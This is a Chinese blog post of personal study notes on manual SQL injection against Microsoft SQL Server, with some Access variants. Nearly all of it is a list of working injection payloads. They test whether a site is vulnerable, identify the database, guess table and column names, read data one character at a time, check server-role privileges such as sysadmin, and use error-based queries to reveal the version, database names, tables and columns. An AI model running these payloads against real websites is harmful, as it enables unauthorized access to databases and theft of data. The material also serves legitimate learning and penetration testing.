SQL server手工注入学习笔记

                              MSSQL注入(SQL server)

由于这学期正在学数据库,所以理解SQL语句还是可疑的。看完视频后自己动手实践顺便整理了学习笔记,有些来自视频有些来自其他大佬的博客。

一:判断是否有注入

and 1=1

and 1=2

判断注入的方法是一样的

二:初步判断是否是MSSQL

and user>0

三:判断数据库系统

and (select count(*) from sysobjects) >0 MSSQL

and (select count(*) from msysobjects) >0 ACCESS

四:注入参数是字符

‘and [查询条件] and‘’=’

五:搜索时没过滤参数的

‘and [查询条件] and‘%25=’

六:猜表名

and (select Count(*) from [表名])>0

七:猜字段

and (select Count(字段名) from表名)>0

八:猜字段中记录长度

and (select top 1 len(字段名) from表名)>0

九:猜字段的ascii值

1、ACCESS

and (select top 1 asc(mid(字段名,1,1)) from表名)>0

2、MSSQL

and (select top 1 unicode(substring(字段名,1,1)) from表名)>0

十:测试权限结构

and 1=(select is_srvrolemember(sysadmin))--

and 1=(select is_srvrolemember(serveradmin))--

and 1=(select is_srvrolemember(setupadmin))--

and 1=(select is_srvrolemember(securityadmin))--

and 1=(select is_srvrolemember(diskadmin))--

and 1=(select is_srvrolemember(bulkadmin))--

and 1=(select is_member(db_owner))--

十一:番外

1、爆版本 and @@version>0

2、爆数据库名 and db_name()>0

3、爆当前用户名 and User_Name()>0

4、爆其他数据库 and (SELECT top 1 Name FROM Master..SysDatabases)>0

再爆其他数据库 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (数据库1))>0

再继续 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (数据库1,数据库2))>0

5、爆表 and (select top 1 name from [数据库名字].sys.all_objects where type=U AND is_ms_shipped=0)>0

再爆表 and (select top 1 name from[数据库名字].sys.all_objects where type=U AND is_ms_shipped=0 and name not in (第一个表名))>0

再继续,同理...

6、爆字段 and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME=表名)>0

再爆其他字段 and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME=表名 and COLUMN_NAME not in (第一个字段名))>0

再继续,同理...

经验分享 程序员 微信小程序 职场和发展